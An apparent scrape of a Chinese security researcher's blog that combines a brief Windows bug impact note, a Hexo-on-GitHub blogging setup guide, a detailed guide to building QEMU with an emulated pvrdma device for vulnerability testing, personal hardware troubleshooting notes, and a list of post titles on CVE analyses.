有意思的是, 它的变量类型是PVOID, 而P也是PVOID, 所以编译器不会有任何警告. 理论上只要有任何测试触发这个位置, 这块代码都有可能会崩溃, 但是直到如今, 才被爆出来, 也是出人意料的, 可见微软内部的安全审计依然不到位(也许就没有).

我想微软之所以那么改, 可能是为了提高内存利用效率, 避免频繁的申请内存吧, 没想到搞出这等幺蛾子, 哈哈哈

影响

好在, 自从windows 爆出过压缩部分的bug后, 它已经要求server端先验证, 后压缩, 使得bug只能是认证后才能触发. 但是Client端还是会受影响的, 毕竟client主动连的server, 也就不存在认证限制了.

使用github搭建自己的博客

2023-02-22T11:54:44.165Z

首先你需要在github创建一个仓储

安装git,npm

windows
下载node.js
下载git

安装hexo

1	npm install hexo --save (或者npm install hexo-cli -g)

初始化

1 2	hexo init MYBLOG cd MYBLOG

“MYBLOG”是目录名称

测试

1
2
3

$ hexo generate
$ hexo server
INFO  Hexo is running at http://localhost:4000 . Press Ctrl+C to stop.

浏览器访问http://localhost:4000

添加主题

访问主题库添加主题, 我比较喜欢Apollo 不过不更新了, 暂时用 next 主题.

配置github推送

获取链接

修改MYBLOG/_config.yml文件

创建sshkey

在git-bash里面使用如下指令（通过在Hexo文件夹右键选择 “Git bash here”打开）

1	ssh-keygen -t rsa -b 4096 -C "邮件地址@youremail.com"

然后根据提示enter就好(注意文件保存的位置！！)

登录github, 在Account Settings—>SSH Public keys —> add another public keys中添加你的sshkey.pub文件的内容

测试key

1	ssh -T git@github.com

新建文章

1	hexo n "网站标题"

文章文件在Hexo\source_posts里面，后缀为md
这是一个markdown文件，具体语法查看markdown语法

文章内容：

title: 文章名
date: 2013-05-29 07:56:29 #发表日期
updated: 2016-04-06 14:58:03 #更新日期
categories: Life #文章分类
description: 你对本页的描述
tags: [tag1,tag2] #文章标签. 多标签时使用英文逗号隔开
photos: #如果使用Fancybox（文章头部展示图片）. 如此设置
URL1
URL2
#从这里开始
#就是正文
#使用markdown

推送文章

hexo d -g

d 是deploy缩写

绑定域名

申请域名
添加选项
在github项目根目录添加CNAME文件, 内容为你的域名(比如 xxx.com)
进入github setting查看

往下拉, 出现如下结果就成功了

在文章中添加图片

第一种: 是在MYBLOG\source目录下的images目录里添加图片, 这样在首页也能引用
比如文件结构如下:

MYBLOG\source\
images
├── b.jpg
a.jpg

使用![ii1](/a.jpg), ![ii2](/images/b.jpg)引用即可

第二种:

1	npm install https://github.com/CodeFalling/hexo-asset-image --save

假设MYBLOG\source\_posts里面的结构如下:
firstblog
├── apppicker.jpg
├── logo.jpg
└── rules.jpg
firstblog.md
目录名必须与md文件名一致, 使用 ![](firstblog/logo.jgp)就可以了.

添加评论框

由于gitcomment停止维护了, 而且它有些域名不能访问, 所以推荐gitalk.

Apollo本身不支持gitalk, 可以考虑用这个主题hexo-theme-apollo

如何给qemu编译配置pvrdma设备

2023-02-22T11:54:44.165Z

缘起于我在审计源码时找到pvrdma的一个bug, 因此需要构建一个pvrdma设备来测试, 但是呢, 因为rdma硬件设备很贵, 所以测试只能用模拟的rdma设备, 这里面, 主要使用的是soft-RoCE类型的模拟设备.

本身这件事不算困难, 奈何网上的资料太少了, 导致我在这方面栽了不少跟头, 分享出来, 希望能够帮助到大家.

准备rdma相关驱动

最简单的方法, 使用centos7或者centos8, 执行lsmod |grep rdma, 如果存在rdma_rxe结果, 说明系统已经有了rdma相关驱动. 可以直接跳过这个准备步骤.

另一种方法, 编译一个新内核, 再编译用户态模块. 坑爹之路就此开始.

以下以ubuntu 16.04为例, 按照soft-RoCE的wiki指示开始编译内核.

下载此项目的v18分支. (按我的理解, 直接下载其它kernel源码来编译也是ok的, 没必要非得用这个, 我没有测试, 就不清楚行不行了)

准备相关编译组件

sudo apt-get install git
sudo apt-get install libncurses5-dev
sudo apt-get install libssl-dev
sudo apt-get install libibcm1 libibcm-dev ibverbs-utils libibverbs-dev 
sudo apt-get install libibverbs1 librdmacm-dev librdmacm1 rdmacm-utils 
sudo apt-get install libswitch-perl

进入项目, 开始配置编译选项
1
2
cp /boot/config-`uname -r` .config
make menuconfig
弹出一个配置界面, 输入**/, 并键入RXE**, 会得到如下结果:
按1, 跳转到改选项, 按M启用改模块, 之后回到这个配置的主界面保存配置, 再退出

开始编译并安装

sudo make -j 4 # 此处的4是cpu的个数, 不要超过它, 不然编译可能更慢
sudo make modules_install
sudo make install
sudo make headers_install INSTALL_HDR_PATH=/usr

重启并使用新编译的内核
下载用户态项目文件, 解压后进入目录

编译并配置

./configure --libdir=/usr/lib64/ --prefix=
make
make install

sudo ln -s /usr/lib64/librxe.a /usr/lib/librxe.a
sudo ln -s /usr/lib64/librxe.la /usr/lib/librxe.la
sudo ln -s /usr/lib64/librxe-rdmav2.so /usr/lib/librxe-rdmav2.so
sudo ln -s /usr/lib64/librxe.so /usr/lib/librxe.so

使用下列命令查看状态, 可能是如下效果

1
2
3

$ rxe_cfg status
  Name    Link  Driver   Speed   NMTU  IPv4_addr        RDEV  RMTU          
  ens160  yes   vmxnet3  10GigE  1500  192.168.170.129

执行下列命令添加网卡并查看状态

$ rxe_cfg add ens160
$ rxe_cfg start
$ ibv_devices
    device             node GUID
    ------          ----------------
    rxe0            020c29fffeee3b66
$ ibv_devinfo
hca_id:rxe0
transport:InfiniBand (0)
fw_ver:0.0.0
node_guid:020c:29ff:feee:3b66
sys_image_guid:0000:0000:0000:0000
vendor_id:0x0000
vendor_part_id:0
hw_ver:0x0
phys_port_cnt:1
port:1
state:PORT_ACTIVE (4)
max_mtu:4096 (5)
active_mtu:1024 (3)
sm_lid:0
port_lid:0
port_lmc:0x00
link_layer:Ethernet

测试网络状态

1 2	$ ibv_rc_pingpong -d rxe0 -g 1 local address: LID 0x0000, QPN 0x000011, PSN 0x29338a, GID fe80::12cb:883b:5ccf:e656

另外开启一个bash, 执行ibv_rc_pingpong -d rxe0 -g 1 127.0.0.1

这时候server端会多出一行输出:

1	remote address: LID 0x0000, QPN 0x000012, PSN 0xe63ffc, GID fe80::12cb:883b:5ccf:e656

client端会得到如下输出:

1 2	local address: LID 0x0000, QPN 0x000012, PSN 0xe63ffc, GID fe80::12cb:883b:5ccf:e656 remote address: LID 0x0000, QPN 0x000011, PSN 0x29338a, GID fe80::12cb:883b:5ccf:e656

配置qemu编译选项

修改qemu项目中如下文件contrib/rdmacm-mux/meson.build

  executable('rdmacm-mux', files('main.c'),
             dependencies: [glib, libumad],
             build_by_default: true,
             install: false)
改为
  executable('rdmacm-mux', files('main.c'),
             dependencies: [glib, libumad],
             build_by_default: true,
             install: true)

执行如下编译配置

1	$ ./configure --enable-rdma --enable-pvrdma --enable-kvm --enable-debug --target-list=x86_64-softmmu

接下来就是make和make install了. 具体参考上一篇关于qemu编译的blog.

编译过程中可能遇到的问题

出现如下提示:

" OpenFabrics librdmacm/libibverbs/libibumad not present." \
" Your options:" \
"  (1) Fast: Install infiniband packages (devel) from your distro." \
"  (2) Cleanest: Install libraries from www.openfabrics.org" \
"  (3) Also: Install softiwarp if you don't have RDMA hardware"

查看项目build/config.log文件, 查看出错原因. 我的主要错误是:

1	if has error:config-temp/qemu-conf.c:1:27: fatal error: rdma/rdma_cma.h: No such file or directory

通过执行find / -name "rdma_cma.h对整个硬盘搜索rdma_cma.h文件, 发现没找到, 就去网上找了它所在的librdmacm库, 下载解压后, 使用./autogen.sh && ./configure && make && make install安装即可.

ERROR: Could not detect Ninja v1.7 or newer

这个应该是本机安装的ninja组件, 或者版本过低, 可以通过如下命令下载安装解决

$ wget https://github.com/ninja-build/ninja/releases/download/v1.8.2/ninja-linux.zip
$ sudo unzip ninja-linux.zip -d /usr/local/bin/
$ sudo update-alternatives --install /usr/bin/ninja ninja /usr/local/bin/ninja 1 --force
输出:update-alternatives: using /usr/local/bin/ninja to provide /usr/bin/ninja (ninja) in auto mode
$ /usr/bin/ninja --version
1.8.2

../hw/block/virtio-blk.c:30:22: fatal error: scsi/sg.h: No such file or directory compilation terminated.

$ wget http://launchpadlibrarian.net/353523714/libc6-dev_2.23-0ubuntu10_amd64.deb
$ dpkg -i libc6-dev_2.23-0ubuntu10_amd64.deb
(Reading database ... 184747 files and directories currently installed.)
Preparing to unpack libc6-dev_2.23-0ubuntu10_amd64.deb ...
Unpacking libc6-dev:amd64 (2.23-0ubuntu10) over (2.23-0ubuntu3) ...
dpkg: dependency problems prevent configuration of libc6-dev:amd64:
 libc6-dev:amd64 depends on libc6 (= 2.23-0ubuntu10); however:
  Version of libc6:amd64 on system is 2.23-0ubuntu3.
 libc6-dev:amd64 depends on libc-dev-bin (= 2.23-0ubuntu10); however:
  Version of libc-dev-bin on system is 2.23-0ubuntu3.

dpkg: error processing package libc6-dev:amd64 (--install):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 libc6-dev:amd64
$ apt -f install

启动参数

参照官方指导文档, 需要保证ib_cm模块没有加载, 因此先卸载相关模块. 并且加载必要模块
1
2
$ rmmod rdma_ucm rdma_cm ib_cm
$ insmod ib_umad
注意, 默认情况下, rdmacm-mux文件的输出是调用的syslog, 建议改成printf 并把umad_open_port的返回结果输出出来, 以便找到失败原因.
在执行上述操作前, 请确保已经执行过了rxe_cfg start操作.

执行下列命令, 创建所需socket

$ qemu-6.0.0/build/contrib/rdmacm-mux/rdmacm-mux -d rxe0
unix_socket_path=/var/run/rdmacm-mux-rxe0-1 这行是改成printf后会输出的内容.
rdma-device-name=rxe0 这行是改成printf后会输出的内容.
rdma-device-port=1 这行是改成printf后会输出的内容.
Service started

创建桥接网络

$ apt-get install uml-utilities
$ tunctl -t tap0 -u `whoami`
$ chmod 0666 /dev/net/tun 让所有用户可读
$ ifconfig tap0 192.168.2.1 up 给tap0设置ip段
添加防火墙规则
$ echo 1 > /proc/sys/net/ipv4/ip_forward
$ iptables -t nat -A POSTROUTING -j MASQUERADE

参考网址

最后, qemu启动参数

$ /usr/local/bin/qemu-system-x86_64 -object memory-backend-ram,id=mb1,size=1G,share=on -numa node,memdev=mb1 \
-netdev tap,id=mynet0,ifname=tap0,script=no,downscript=no \
-device vmxnet3,netdev=mynet0,id=net0,mac=52:54:00:e3:00:81,addr=0x10.0,multifunction=on  \
-chardev socket,path=/var/run/rdmacm-mux-rxe0-1,id=mads -device pvrdma,addr=0x10.1,ibdev=rxe0,netdev=net0,mad-chardev=mads \
-m 1G -hda qemu-6.0.0/centos7.img --enable-kvm

根据官方文档描述, pvrdma必须要三个参数: ibdev, netdev, mad-chardev, 并且To support it, pvrdma device is composed of two PCI functions, an Ethernet device of type vmxnet3 on PCI slot 0 and a PVRDMA device on PCI slot 1., 即在slot 0必须是一个vmxnet3网卡, slot 1是pvrdma, 所以此处vmxnet3的pci地址给的是 0x10.0, 则pvrdma是0x10.1.

libvirt配置

如果不想直接用命令启动qemu, 用libvirt也可

假如已经存在一个格式为qcow2的虚拟机image文件了, 假设文件名为centos7.img

安装相关组件
$ apt install libvirt libvirt-python libguestfs-tools virt-install

启动相关服务
$ systemctl enable libvirtd
$ systemctl start libvirtd

查看桥接网卡
$ brctl show
bridge namebridge idSTP enabledinterfaces
virbr08000.525400455887yesvirbr0-nic

添加现成虚拟机
$ virt-install --import --name vm1 \
--memory 1024 --vcpus 1 --cpu host \
--disk centos7.img,format=qcow2,bus=virtio \
--network bridge=virbr0,model=virtio \
--os-type=linux \
--os-variant=centos7.0 \
--nographics \
--noautoconsole

安装后, 先关闭虚拟机, 然后在/etc/libvirt/qemu/目录下找到vm1.xml文件

<domain type='kvm'>
  <name>vm2name>
  <devices>
    <interface type='bridge'>
      <mac address='56:b4:44:e9:62:dc'/>
      <source bridge='virbr0'/>
      <model type='vmxnet3'/>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x10' function='0x0' multifunction='on'/>
    interface>
  devices>
    
  <qemu:commandline>
    <qemu:arg value='-object'/>
    <qemu:arg value='memory-backend-ram,id=mb1,size=1G,share'/>
    <qemu:arg value='-numa'/>
    <qemu:arg value='node,memdev=mb1'/>
    <qemu:arg value='-chardev'/>
    <qemu:arg value='socket,path=/var/run/rdmacm-mux-rxe0-1,id=mads'/>
    <qemu:arg value='-device'/>
    <qemu:arg value='pvrdma,addr=10.1,ibdev=rxe0,netdev=bridge0,mad-chardev=mads'/> 注意这里是10.1 必须和vmxnet3的bus='0x00' slot='0x10' function='0x0' 对应, 保证bus相同, slot相同, 其中function: 0为vmxnet3, 1为pvrdma.
  qemu:commandline>
domain>

此处的bridge0是哪一个我不是很确定, 需要的人得自己琢磨一下了. 我配置这里主要是为了获取vmxnet3的真实启动配置参数.

常见的virsh命令:

列出所有虚拟机
virsh list --all
获取虚拟机信息
virsh dominfo vm1
关闭虚拟机
virsh shutdown vm1
启动虚拟机
virsh start vm1
虚拟机随宿主机启动而自动启动
virsh autostart vm1
安全重启虚拟机
virsh reboot vm1
重启虚拟机(不安全，hard reset)
virsh reset vm1
删除虚拟机
virsh shutdown vm1
virsh undefine vm1
virsh pool-destroy vm1

结语

一开始并不知道centos可以省去那么多麻烦, 在ubuntu上卡了很久很久, 问了Li Qiang大佬和官方的人, 也没有得到具体的配置方法, 最后总算是靠着一行行看配置文件找到失败原因, 并一一解决, 这里更不提那个softiWarp了, 这里虽然没用到, 但是那个错误提示里提到后, 我就以为需要配置它, 也踩了不少的坑 T-T.

在rdmacm-mux的编译和启动那一步也卡了很久, 不明白为什么启动不了server, 后来明白是自己给的设备名字不对, 并不是一个任意名字, 必须是设备名.

启动参数那也费了很多力气, 官方文档是用libvirt, 由于缺乏相关使用经验, 就先自己琢磨的参数, 后来实在有问题, 就用libvirt创建了虚拟机, 并修改了相关文件的配置, 添加成功命令, 并一步步找失败原因.

他们文档说是要让vmxnet3在slot 0, 但是并没有说怎么放到slot 0, 中间还遇到PCI: single function device can't be populated in function 10.1错误, 后来发现是vmxnet3缺少multifunction参数所致.

qemu官方文档真的太坑了, 信息给的少, 网上也缺乏相关资料, 只能自己琢磨, 唉, 坑啊~

最后呢, 是我发现的3个相关bug: cve-2021-3582, cve-2021-3607, cve-2021-3608, 虽然其中两个都有可能导致虚拟化逃逸, 但是现在没有任何厂商在用这个设备, 所以也就没什么实质性的危害.

记录生活小事

2023-02-02T04:15:02.124Z

记录生活小事.

电信宽带切换桥接折腾

电信宽带的pppoe密码是可以找客服重新设置的. 超管密码可以找维护宽带的人给.

可以查看下面的图中状态找到上网对应的连接名称:

然后在下列界面更改成桥接或者恢复成路由:

注意, 一定不要修改vlanID, 改了就无法正常登录.

华硕路由器折腾

华硕路由器更新后莫名其妙崩溃. 然后无限重启(看指示灯, 会循环亮起后灭掉, 可能需要一分钟左右). 客服说换个电源器, 我当时没有多余电源, 就没试, 试着用救援模式刷机, 结果也不行. 最后买了个新路由器, 然后用路由器电源接上试了一下, 没想到真的好了!!!!!!

HDMI 故障

笔记本的hdmi突然就不好使了, 更新卸载驱动弄了好几次, 更换hdmi线, 更换显示器都试过了, 最终确认了hdmi不好使.

本来以为坏了, 结果看到了一篇帖子: 一个小技巧解决笔记本HDMI接口失灵( 不确定原创作者是不是他), 试了一下真的好了 :)

不接显示器无法启动主机系统

我打算远程访问主机, 所以主机没有接显示器, 结果每次重启, 它就莫名其妙卡着进不了系统, 接入显示器也是没信号, 于是我关机, 接上显示器看什么情况, 结果就恢复正常了! 如果我不接显示器开机就不能进入系统, 且开机状态下再插DP或者HDMI也不好使.

其实原因是, 主板的启动逻辑有问题. 主板BIOS自检的时候, 没有检查到显示设备, 就不启动了, 好像HDMI之类的没有热拔插?(虽然不理解为什么会这样, 明明显卡可以工作的.) 所以进入不了操作系统, 且没显示界面.

解决方法: 如果BIOS可以设置, 就设置一下. 比如我的MSI x670E主板, 一开始没有相关选项, 更新了BIOS后, 就有了” Settings > Advanced > Integrated Peripherals > VGA Detection “, 选择”ignore”就可以解决这个问题了. 如果有的BIOS实在不支持, 可以用hdmi dummy plug之类的东西解决.

VictorV的小博客

在windows安装opencode和vscode, 体验大模型辅助编程, 并结合ida mcp进行漏洞发现

前言

安装opencode

通过安装程序安装有UI版本

通过npm安装命令行版本

安装vscode

安装vscode的opencode插件

配置opencode, 添加mcp

添加大模型api

对话

注意事项

claude code

安装IDA-PRO-MCP

运行ida-pro-mcp server

ida-mcp-s2

漏洞挖掘

Windows Remote Desktop Gateway (RD Gateway) CVE-2025-21297的介绍

配置RDG环境

漏洞介绍

补丁

总结

POC核心逻辑

crash栈回溯

掌控微软Azure赏金计划(Mastering the Microsoft Azure Bounty Program)

致谢

Azure Bounty Program 规则

Azure 产品

一血 ICMP

二血 SNMP奖金池

三血 FTP

四血 double free

寻找下一个目标

一鱼三吃

double free again

总结

Windows Cryptographic Services RCE CVE-2024-29050的介绍

其它

POC

ASN1Dec列表

Windows Secure Channel RCE CVE-2024-38148的介绍

Bug

感想

Windows Remote Desktop Licensing Service 漏洞解析

启用rdp license服务

分析补丁

构造poc

IDL

C++ 异常处理的逆向

C++ try catch

调试

修改

再次调试

msvc举例(win11)

旧版本msvc举例(server 2016)

导览图方法

其它

参考

Windows SQL Server Pre-Auth Overflow Read(CVE-2023-36728)

Environment

Bug

Impact

Crash Stack Trace

POC

奇怪的知识又增加了

include

c的结构体

int 到 size_t

关于clone的编写bug

Windows Internet Connection Sharing (ICS) cve-2023-38148 分析

环境搭建

补丁分析

POC

Windows RPC 介绍

注册rpc服务

client调用

在NdrClientCall3找rpc接口

com接口的rpc NdrpClientCall3

RPC接口的序列化

Rpcview 获取 RPC 接口 IDL

在`NdrClientCall3`找rpc接口